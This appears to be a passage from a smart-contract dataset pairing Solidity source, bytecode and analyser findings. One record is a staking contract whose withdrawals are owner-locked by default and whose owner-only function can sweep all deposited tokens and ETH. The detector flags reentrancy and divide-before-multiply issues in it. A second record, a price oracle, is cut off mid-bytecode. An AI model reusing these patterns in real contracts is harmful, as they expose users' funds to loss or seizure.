function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function ceil(uint a, uint m) internal pure returns (uint r) {
return (a + m - 1) / m * m;
}
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address payable public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
require(_newOwner != address(0), "ERC20: sending to the zero address");
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// ----------------------------------------------------------------------------
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address tokenOwner) external view returns (uint256 balance);
function allowance(address tokenOwner, address spender) external view returns (uint256 remaining);
function transfer(address to, uint256 tokens) external returns (bool success);
function approve(address spender, uint256 tokens) external returns (bool success);
function transferFrom(address from, address to, uint256 tokens) external returns (bool success);
function burnTokens(uint256 _amount) external;
function calculateFees(
address sender,
address recipient,
uint256 amount
) external view returns (uint256, uint256);
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract UniswapOrderBotBBPStake is Owned {
using SafeMath for uint256;
address public BBPLP = 0x44f692888a0ED51BC5b05867d9149C5F32F5E07F;
address public BBP = 0xbb0A009ba1EB20c5062C790432f080F6597662AF;
address public lpLockAddress = 0x740Fda023D5aa68cB392DE148C88966BD91Ec53e;
uint256 public totalStakes = 0;
uint256 public totalDividends = 0;
uint256 private scaledRemainder = 0;
uint256 private scaling = uint256(10) ** 12;
uint public round = 1;
uint256 public maxAllowed = 100000000000000000000; //100 tokens total allowed to be staked
uint256 public ethMade=0; //total payout given
/* Fees breaker, to protect withdraws if anything ever goes wrong */
bool public breaker = true; // withdraw can be unlock,, default locked
mapping(address => uint) public farmTime; // period that your sake it locked to keep it for farming
//uint public lock = 0; // farm lock in blocks ~ 0 days for 15s/block
//address public admin;
struct USER{
uint256 stakedTokens;
uint256 lastDividends;
uint256 fromTotalDividend;
uint round;
uint256 remainder;
}
address[] internal stakeholders;
mapping(address => USER) stakers;
mapping (uint => uint256) public payouts; // keeps record of each payout
event STAKED(address staker, uint256 tokens);
event EARNED(address staker, uint256 tokens);
event UNSTAKED(address staker, uint256 tokens);
event PAYOUT(uint256 round, uint256 tokens, address sender);
event CLAIMEDREWARD(address staker, uint256 reward);
function setBreaker(bool _breaker) external onlyOwner {
breaker = _breaker;
}
function isStakeholder(address _address)
public
view
returns(bool)
{
for (uint256 s = 0; s < stakeholders.length; s += 1){
if (_address == stakeholders[s]) return (true);
}
return (false);
}
function addStakeholder(address _stakeholder)
public
{
(bool _isStakeholder) = isStakeholder(_stakeholder);
if(!_isStakeholder) stakeholders.push(_stakeholder);
}
function setLpLockAddress(address _account) public onlyOwner {
require(_account != address(0), "ERC20: Setting zero address");
lpLockAddress = _account;
}
// ------------------------------------------------------------------------
// Token holders can stake their tokens using this function
// @param tokens number of tokens to stake
// ------------------------------------------------------------------------
function STAKE(uint256 tokens) external {
require(totalStakes < maxAllowed, "MAX AMOUNT REACHED CANNOT STAKE NO MORE");
require(IERC20(BBPLP).transferFrom(msg.sender, address(lpLockAddress), tokens), "Tokens cannot be transferred from user for locking");
// add pending rewards to remainder to be claimed by user later, if there is any existing stake
uint256 owing = pendingReward(msg.sender);
stakers[msg.sender].remainder += owing;
stakers[msg.sender].stakedTokens = tokens.add(stakers[msg.sender].stakedTokens);
stakers[msg.sender].lastDividends = owing;
stakers[msg.sender].fromTotalDividend= totalDividends;
stakers[msg.sender].round = round;
(bool _isStakeholder) = isStakeholder(msg.sender);
if(!_isStakeholder) farmTime[msg.sender] = block.timestamp;
totalStakes = totalStakes.add(tokens);
addStakeholder(msg.sender);
emit STAKED(msg.sender, tokens);
}
// ------------------------------------------------------------------------
// Owners can send the funds to be distributed to stakers using this function
// @param tokens number of tokens to distribute
// ------------------------------------------------------------------------
function ADDFUNDS() external payable {
uint256 _amount = msg.value;
ethMade = ethMade.add(_amount);
_addPayout(_amount);
}
// ------------------------------------------------------------------------
// Private function to register payouts
// ------------------------------------------------------------------------
function _addPayout(uint256 tokens) private{
// divide the funds among the currently staked tokens
// scale the deposit and add the previous remainder
uint256 available = (tokens.mul(scaling)).add(scaledRemainder);
uint256 dividendPerToken = available.div(totalStakes);
scaledRemainder = available.mod(totalStakes);
totalDividends = totalDividends.add(dividendPerToken);
payouts[round] = payouts[round - 1].add(dividendPerToken);
emit PAYOUT(round, tokens, msg.sender);
round++;
}
// ------------------------------------------------------------------------
// Stakers can claim their pending rewards using this function
// ------------------------------------------------------------------------
function CLAIMREWARD() public {
if(totalDividends >= stakers[msg.sender].fromTotalDividend){
uint256 owing = pendingReward(msg.sender);
owing = owing.add(stakers[msg.sender].remainder);
stakers[msg.sender].remainder = 0;
msg.sender.transfer(owing);
emit CLAIMEDREWARD(msg.sender, owing);
stakers[msg.sender].lastDividends = owing; // unscaled
stakers[msg.sender].round = round; // update the round
stakers[msg.sender].fromTotalDividend = totalDividends; // scaled
}
}
// ------------------------------------------------------------------------
// Get the pending rewards of the staker
// @param _staker the address of the staker
// ------------------------------------------------------------------------
function pendingReward(address staker) private returns (uint256) {
require(staker != address(0), "ERC20: sending to the zero address");
uint stakersRound = stakers[staker].round;
uint256 amount = ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)).div(scaling);
stakers[staker].remainder += ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)) % scaling ;
return amount;
}
function getPendingReward(address staker) public view returns(uint256 _pendingReward) {
require(staker != address(0), "ERC20: sending to the zero address");
uint stakersRound = stakers[staker].round;
uint256 amount = ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)).div(scaling);
amount += ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)) % scaling ;
return (amount.add(stakers[staker].remainder));
}
// ------------------------------------------------------------------------
// Stakers can un stake the staked tokens using this function
// @param tokens the number of tokens to withdraw
// ------------------------------------------------------------------------
function WITHDRAW(uint256 tokens) external {
require(breaker == false, "Admin Restricted WITHDRAW");
require(stakers[msg.sender].stakedTokens >= tokens && tokens > 0, "Invalid token amount to withdraw");
totalStakes = totalStakes.sub(tokens);
// add pending rewards to remainder to be claimed by user later, if there is any existing stake
uint256 owing = pendingReward(msg.sender);
stakers[msg.sender].remainder += owing;
stakers[msg.sender].stakedTokens = stakers[msg.sender].stakedTokens.sub(tokens);
stakers[msg.sender].lastDividends = owing;
stakers[msg.sender].fromTotalDividend= totalDividends;
stakers[msg.sender].round = round;
require(IERC20(BBPLP).transfer(msg.sender, tokens), "Error in un-staking tokens");
emit UNSTAKED(msg.sender, tokens);
}
// ------------------------------------------------------------------------
// Private function to calculate 1% percentage
// ------------------------------------------------------------------------
function onePercent(uint256 _tokens) private pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2));
return onePercentofTokens;
}
// ------------------------------------------------------------------------
// Get the number of tokens staked by a staker
// @param _staker the address of the staker
// ------------------------------------------------------------------------
function yourStakedBBPLp(address staker) public view returns(uint256 stakedBBPLp){
require(staker != address(0), "ERC20: sending to the zero address");
return stakers[staker].stakedTokens;
}
// ------------------------------------------------------------------------
// Get the BBP balance of the token holder
// @param user the address of the token holder
// ------------------------------------------------------------------------
function yourBBPBalance(address user) external view returns(uint256 BBPBalance){
require(user != address(0), "ERC20: sending to the zero address");
return IERC20(BBP).balanceOf(user);
}
function yourBBPLpBalance(address user) external view returns(uint256 BBPLpBalance){
require(user != address(0), "ERC20: sending to the zero address");
return IERC20(BBPLP).balanceOf(user);
}
function retByAdmin() public onlyOwner {
require(IERC20(BBPLP).transfer(owner, IERC20(BBPLP).balanceOf(address(this))), "Error in retrieving tokens");
require(IERC20(BBP).transfer(owner, IERC20(BBP).balanceOf(address(this))), "Error in retrieving bbp tokens");
owner.transfer(address(this).balance);
}
}
|
0x6080604052600436106101815760003560e01c8063997664d7116100d1578063ca3996711161008a578063e5c42fd111610064578063e5c42fd114610477578063ef037b90146104aa578063f2fde38b146104dd578063f3ec37c21461051057610181565b8063ca39967114610430578063ca84d59114610445578063cc16ab6e1461046f57610181565b8063997664d714610358578063a76267391461036d578063bf9befb1146103a0578063c3f344a8146103b5578063c5a7525a146103e8578063c5cc0f161461041b57610181565b80632c75bcda1161013e5780634e78e565116101185780634e78e565146102ed5780635c0aeb0e146103025780638da5cb5b1461032e57806398d624041461034357610181565b80632c75bcda1461027b5780634baf782e146102a55780634df9d6ba146102ba57610181565b80630f41e0d214610186578063146ca531146101af5780631c233879146101d657806323d308fa146101ed57806329272a631461022057806329652e8614610251575b600080fd5b34801561019257600080fd5b5061019b610543565b604080519115158252519081900360200190f35b3480156101bb57600080fd5b506101c461054c565b60408051918252519081900360200190f35b3480156101e257600080fd5b506101eb610552565b005b3480156101f957600080fd5b506101c46004803603602081101561021057600080fd5b50356001600160a01b0316610846565b34801561022c57600080fd5b5061023561090e565b604080516001600160a01b039092168252519081900360200190f35b34801561025d57600080fd5b506101c46004803603602081101561027457600080fd5b503561091d565b34801561028757600080fd5b506101eb6004803603602081101561029e57600080fd5b503561092f565b3480156102b157600080fd5b506101eb610b74565b3480156102c657600080fd5b506101c4600480360360208110156102dd57600080fd5b50356001600160a01b0316610c65565b3480156102f957600080fd5b50610235610d88565b34801561030e57600080fd5b506101eb6004803603602081101561032557600080fd5b50351515610d97565b34801561033a57600080fd5b50610235610dc1565b34801561034f57600080fd5b50610235610dd0565b34801561036457600080fd5b506101c4610ddf565b34801561037957600080fd5b506101c46004803603602081101561039057600080fd5b50356001600160a01b0316610de5565b3480156103ac57600080fd5b506101c4610e48565b3480156103c157600080fd5b506101c4600480360360208110156103d857600080fd5b50356001600160a01b0316610e4e565b3480156103f457600080fd5b506101c46004803603602081101561040b57600080fd5b50356001600160a01b0316610e60565b34801561042757600080fd5b506101c4610ef4565b34801561043c57600080fd5b506101c4610efa565b34801561045157600080fd5b506101eb6004803603602081101561046857600080fd5b5035610f00565b6101eb6110e4565b34801561048357600080fd5b506101eb6004803603602081101561049a57600080fd5b50356001600160a01b03166110ff565b3480156104b657600080fd5b5061019b600480360360208110156104cd57600080fd5b50356001600160a01b0316611161565b3480156104e957600080fd5b506101eb6004803603602081101561050057600080fd5b50356001600160a01b03166111b6565b34801561051c57600080fd5b506101eb6004803603602081101561053357600080fd5b50356001600160a01b031661125d565b600b5460ff1681565b60085481565b6000546001600160a01b0316331461056957600080fd5b600154600054604080516370a0823160e01b815230600482015290516001600160a01b039384169363a9059cbb93169184916370a0823191602480820192602092909190829003018186803b1580156105c157600080fd5b505afa1580156105d5573d6000803e3d6000fd5b505050506040513d60208110156105eb57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b15801561063c57600080fd5b505af1158015610650573d6000803e3d6000fd5b505050506040513d602081101561066657600080fd5b50516106b9576040805162461bcd60e51b815260206004820152601a60248201527f4572726f7220696e2072657472696576696e6720746f6b656e73000000000000604482015290519081900360640190fd5b600254600054604080516370a0823160e01b815230600482015290516001600160a01b039384169363a9059cbb93169184916370a0823191602480820192602092909190829003018186803b15801561071157600080fd5b505afa158015610725573d6000803e3d6000fd5b505050506040513d602081101561073b57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b15801561078c57600080fd5b505af11580156107a0573d6000803e3d6000fd5b505050506040513d60208110156107b657600080fd5b5051610809576040805162461bcd60e51b815260206004820152601e60248201527f4572726f7220696e2072657472696576696e672062627020746f6b656e730000604482015290519081900360640190fd5b600080546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610843573d6000803e3d6000fd5b50565b60006001600160a01b03821661088d5760405162461bcd60e51b81526004018080602001828103825260228152602001806117f86022913960400191505060405180910390fd5b600154604080516370a0823160e01b81526001600160a01b038581166004830152915191909216916370a08231916024808301926020929190829003018186803b1580156108da57600080fd5b505afa1580156108ee573d6000803e3d6000fd5b505050506040513d602081101561090457600080fd5b505190505b919050565b6002546001600160a01b031681565b600f6020526000908152604090205481565b600b5460ff1615610987576040805162461bcd60e51b815260206004820152601960248201527f41646d696e205265737472696374656420574954484452415700000000000000604482015290519081900360640190fd5b336000908152600e602052604090205481118015906109a65750600081115b6109f7576040805162461bcd60e51b815260206004820181905260248201527f496e76616c696420746f6b656e20616d6f756e7420746f207769746864726177604482015290519081900360640190fd5b600454610a0490826112f1565b6004556000610a123361133c565b336000908152600e602052604090206004810180548301905554909150610a3990836112f1565b336000818152600e60209081526040808320948555600180860187905560055460028701556008546003909601959095559354845163a9059cbb60e01b815260048101949094526024840187905293516001600160a01b039094169363a9059cbb93604480820194918390030190829087803b158015610ab857600080fd5b505af1158015610acc573d6000803e3d6000fd5b505050506040513d6020811015610ae257600080fd5b5051610b35576040805162461bcd60e51b815260206004820152601a60248201527f4572726f7220696e20756e2d7374616b696e6720746f6b656e73000000000000604482015290519081900360640190fd5b604080513381526020810184905281517f4c48d8823de8aa74e6ea4bed3a0c422e95a3d1e10f8f3e47dc7e2fe779be9514929181900390910190a15050565b336000908152600e602052604090206002015460055410610c63576000610b9a3361133c565b336000908152600e6020526040902060040154909150610bbb90829061144a565b336000818152600e602052604080822060040182905551929350909183156108fc0291849190818181858888f19350505050158015610bfe573d6000803e3d6000fd5b50604080513381526020810183905281517f8a0128b5f12decc7d739e546c0521c3388920368915393f80120bc5b408c7c9e929181900390910190a1336000908152600e60205260409020600181019190915560085460038201556005546002909101555b565b60006001600160a01b038216610cac5760405162461bcd60e51b81526004018080602001828103825260228152602001806117f86022913960400191505060405180910390fd5b6001600160a01b0382166000908152600e602090815260408083206003810154600754915460001982018652600f90945291842054600554929493610d0593610cff92610cf991906112f1565b906114a4565b906114fd565b6007546001600160a01b0386166000908152600e602090815260408083205460001988018452600f909252909120546005549394509192610d4a92610cf991906112f1565b81610d5157fe5b6001600160a01b0386166000908152600e60205260409020600401549190069190910190610d8090829061144a565b949350505050565b6001546001600160a01b031681565b6000546001600160a01b03163314610dae57600080fd5b600b805460ff1916911515919091179055565b6000546001600160a01b031681565b6003546001600160a01b031681565b60055481565b60006001600160a01b038216610e2c5760405162461bcd60e51b81526004018080602001828103825260228152602001806117f86022913960400191505060405180910390fd5b506001600160a01b03166000908152600e602052604090205490565b60045481565b600c6020526000908152604090205481565b60006001600160a01b038216610ea75760405162461bcd60e51b81526004018080602001828103825260228152602001806117f86022913960400191505060405180910390fd5b600254604080516370a0823160e01b81526001600160a01b038581166004830152915191909216916370a08231916024808301926020929190829003018186803b1580156108da57600080fd5b600a5481565b60095481565b60095460045410610f425760405162461bcd60e51b815260040180806020018281038252602781526020018061183b6027913960400191505060405180910390fd5b600154600354604080516323b872dd60e01b81523360048201526001600160a01b03928316602482015260448101859052905191909216916323b872dd9160648083019260209291908290030181600087803b158015610fa157600080fd5b505af1158015610fb5573d6000803e3d6000fd5b505050506040513d6020811015610fcb57600080fd5b50516110085760405162461bcd60e51b81526004018080602001828103825260328152602001806117c66032913960400191505060405180910390fd5b60006110133361133c565b336000908152600e60205260409020600481018054830190555490915061103b90839061144a565b336000818152600e6020526040812092835560018301849055600554600284015560085460039093019290925561107190611161565b90508061108b57336000908152600c602052604090204290555b600454611098908461144a565b6004556110a4336110ff565b604080513381526020810185905281517f4031c63bb53dc5dfada7ef8d75bef8c44d0283658c1585fc74107ed5b75e97c8929181900390910190a1505050565b600a5434906110f3908261144a565b600a556108438161153f565b600061110a82611161565b90508061115d57600d80546001810182556000919091527fd7b6990105719101dabeb77144f2a3385c8033acd3af97e9423a695e81ad1eb50180546001600160a01b0319166001600160a01b0384161790555b5050565b6000805b600d548110156111ad57600d818154811061117c57fe5b6000918252602090912001546001600160a01b03848116911614156111a5576001915050610909565b600101611165565b50600092915050565b6000546001600160a01b031633146111cd57600080fd5b6001600160a01b0381166112125760405162461bcd60e51b81526004018080602001828103825260228152602001806117f86022913960400191505060405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6000546001600160a01b0316331461127457600080fd5b6001600160a01b0381166112cf576040805162461bcd60e51b815260206004820152601c60248201527f45524332303a202053657474696e67207a65726f206164647265737300000000604482015290519081900360640190fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b600061133383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061162a565b90505b92915050565b60006001600160a01b0382166113835760405162461bcd60e51b81526004018080602001828103825260228152602001806117f86022913960400191505060405180910390fd5b6001600160a01b0382166000908152600e602090815260408083206003810154600754915460001982018652600f909452918420546005549294936113d093610cff92610cf991906112f1565b6007546001600160a01b0386166000908152600e602090815260408083205460001988018452600f90925290912054600554939450919261141592610cf991906112f1565b8161141c57fe5b6001600160a01b03959095166000908152600e60205260409020600401805491909506019093555090919050565b600082820183811015611333576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000826114b357506000611336565b828202828482816114c057fe5b04146113335760405162461bcd60e51b815260040180806020018281038252602181526020018061181a6021913960400191505060405180910390fd5b600061133383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116c1565b600061156260065461155c600754856114a490919063ffffffff16565b9061144a565b9050600061157b600454836114fd90919063ffffffff16565b90506115926004548361172690919063ffffffff16565b6006556005546115a2908261144a565b600555600854600019016000908152600f60205260409020546115c5908261144a565b600880546000908152600f602090815260409182902093909355905481519081529182018590523382820152517fddf8c05dcee82ec75482e095e6c06768c848d5a7df7147686033433d141328b69181900360600190a1505060088054600101905550565b600081848411156116b95760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561167e578181015183820152602001611666565b50505050905090810190601f1680156116ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836117105760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561167e578181015183820152602001611666565b50600083858161171c57fe5b0495945050505050565b600061133383836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250600081836117b25760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561167e578181015183820152602001611666565b508284816117bc57fe5b0694935050505056fe546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d207573657220666f72206c6f636b696e6745524332303a2073656e64696e6720746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774d415820414d4f554e5420524541434845442043414e4e4f54205354414b45204e4f204d4f5245a26469706673582212204431d2409a740b0aa4bc30c41faec169d6341194f7b9dc928fba69bc2d59a64064736f6c63430007050033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 6,387 |
0x6cc0cd7d25e291029b55c767b9a2d1d9a18ae668
|
/**
*Submitted for verification at Etherscan.io on 2021-05-25
*/
// SPDX-License-Identifier: MIXED
// File @boringcrypto/boring-solidity/contracts/libraries/[email protected]
// License-Identifier: MIT
pragma solidity 0.6.12;
/// @notice A library for performing overflow-/underflow-safe math,
/// updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math).
library BoringMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow");
}
function to128(uint256 a) internal pure returns (uint128 c) {
require(a <= uint128(-1), "BoringMath: uint128 Overflow");
c = uint128(a);
}
function to64(uint256 a) internal pure returns (uint64 c) {
require(a <= uint64(-1), "BoringMath: uint64 Overflow");
c = uint64(a);
}
function to32(uint256 a) internal pure returns (uint32 c) {
require(a <= uint32(-1), "BoringMath: uint32 Overflow");
c = uint32(a);
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint128.
library BoringMath128 {
function add(uint128 a, uint128 b) internal pure returns (uint128 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint128 a, uint128 b) internal pure returns (uint128 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint64.
library BoringMath64 {
function add(uint64 a, uint64 b) internal pure returns (uint64 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint64 a, uint64 b) internal pure returns (uint64 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint32.
library BoringMath32 {
function add(uint32 a, uint32 b) internal pure returns (uint32 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint32 a, uint32 b) internal pure returns (uint32 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
// File contracts/interfaces/IOracle.sol
// License-Identifier: MIT
interface IOracle {
/// @notice Get the latest exchange rate.
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return success if no valid (recent) rate is available, return false else true.
/// @return rate The rate of the requested asset / pair / pool.
function get(bytes calldata data) external returns (bool success, uint256 rate);
/// @notice Check the last exchange rate without any state changes.
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return success if no valid (recent) rate is available, return false else true.
/// @return rate The rate of the requested asset / pair / pool.
function peek(bytes calldata data) external view returns (bool success, uint256 rate);
/// @notice Check the current spot exchange rate without any state changes. For oracles like TWAP this will be different from peek().
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return rate The rate of the requested asset / pair / pool.
function peekSpot(bytes calldata data) external view returns (uint256 rate);
/// @notice Returns a human readable (short) name about this oracle.
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return (string) A human readable symbol name about this oracle.
function symbol(bytes calldata data) external view returns (string memory);
/// @notice Returns a human readable name about this oracle.
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return (string) A human readable name about this oracle.
function name(bytes calldata data) external view returns (string memory);
}
// File contracts/oracles/YearnChainlinkOracle.sol
// License-Identifier: MIT
// Chainlink Aggregator
interface IAggregator {
function latestAnswer() external view returns (int256 answer);
}
interface IYearnVault {
function pricePerShare() external view returns (uint256 price);
}
contract YearnChainlinkOracleV2 is IOracle {
using BoringMath for uint256; // Keep everything in uint256
// Calculates the lastest exchange rate
// Uses both divide and multiply only for tokens not supported directly by Chainlink, for example MKR/USD
function _get(
address multiply,
address divide,
uint256 decimals,
address yearnVault
) internal view returns (uint256) {
uint256 price = uint256(1e36);
if (multiply != address(0)) {
price = price.mul(uint256(IAggregator(multiply).latestAnswer()));
} else {
price = price.mul(1e18);
}
if (divide != address(0)) {
price = price / uint256(IAggregator(divide).latestAnswer());
}
// @note decimals have to take into account the decimals of the vault asset
return price / decimals.mul(IYearnVault(yearnVault).pricePerShare());
}
function getDataParameter(
address multiply,
address divide,
uint256 decimals,
address yearnVault
) public pure returns (bytes memory) {
return abi.encode(multiply, divide, decimals, yearnVault);
}
// Get the latest exchange rate
/// @inheritdoc IOracle
function get(bytes calldata data) public override returns (bool, uint256) {
(address multiply, address divide, uint256 decimals, address yearnVault) = abi.decode(data, (address, address, uint256, address));
return (true, _get(multiply, divide, decimals, yearnVault));
}
// Check the last exchange rate without any state changes
/// @inheritdoc IOracle
function peek(bytes calldata data) public view override returns (bool, uint256) {
(address multiply, address divide, uint256 decimals, address yearnVault) = abi.decode(data, (address, address, uint256, address));
return (true, _get(multiply, divide, decimals, yearnVault));
}
// Check the current spot exchange rate without any state changes
/// @inheritdoc IOracle
function peekSpot(bytes calldata data) external view override returns (uint256 rate) {
(, rate) = peek(data);
}
/// @inheritdoc IOracle
function name(bytes calldata) public view override returns (string memory) {
return "Chainlink";
}
/// @inheritdoc IOracle
function symbol(bytes calldata) public view override returns (string memory) {
return "LINK";
}
}
|
0x608060405234801561001057600080fd5b50600436106100725760003560e01c8063d568866c11610050578063d568866c14610227578063d6d7d52514610297578063eeb8a8d31461029757610072565b80635834fb5014610077578063c699c4d614610135578063d39bbef0146101a5575b600080fd5b6100c06004803603608081101561008d57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101358216916040820135916060013516610322565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100fa5781810151838201526020016100e2565b50505050905090810190601f1680156101275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6100c06004803603602081101561014b57600080fd5b81019060208101813564010000000081111561016657600080fd5b82018360208201111561017857600080fd5b8035906020019184600183028401116401000000008311171561019a57600080fd5b509092509050610373565b610215600480360360208110156101bb57600080fd5b8101906020810181356401000000008111156101d657600080fd5b8201836020820111156101e857600080fd5b8035906020019184600183028401116401000000008311171561020a57600080fd5b5090925090506103ae565b60408051918252519081900360200190f35b6100c06004803603602081101561023d57600080fd5b81019060208101813564010000000081111561025857600080fd5b82018360208201111561026a57600080fd5b8035906020019184600183028401116401000000008311171561028c57600080fd5b5090925090506103c2565b610307600480360360208110156102ad57600080fd5b8101906020810181356401000000008111156102c857600080fd5b8201836020820111156102da57600080fd5b803590602001918460018302840111640100000000831117156102fc57600080fd5b5090925090506103fb565b60408051921515835260208301919091528051918290030190f35b6040805173ffffffffffffffffffffffffffffffffffffffff95861660208201529385168482015260608401929092529092166080808301919091528251808303909101815260a090910190915290565b60408051808201909152600481527f4c494e4b0000000000000000000000000000000000000000000000000000000060208201525b92915050565b60006103ba83836103fb565b949350505050565b505060408051808201909152600981527f436861696e6c696e6b0000000000000000000000000000000000000000000000602082015290565b6000806000806000808787608081101561041457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116955060208201358116945060408201359350606090910135169050600161045785858585610466565b95509550505050509250929050565b60006ec097ce7bc90715b34b9f100000000073ffffffffffffffffffffffffffffffffffffffff861615610517576105108673ffffffffffffffffffffffffffffffffffffffff166350d25bcd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156104dd57600080fd5b505afa1580156104f1573d6000803e3d6000fd5b505050506040513d602081101561050757600080fd5b50518290610655565b905061052c565b61052981670de0b6b3a7640000610655565b90505b73ffffffffffffff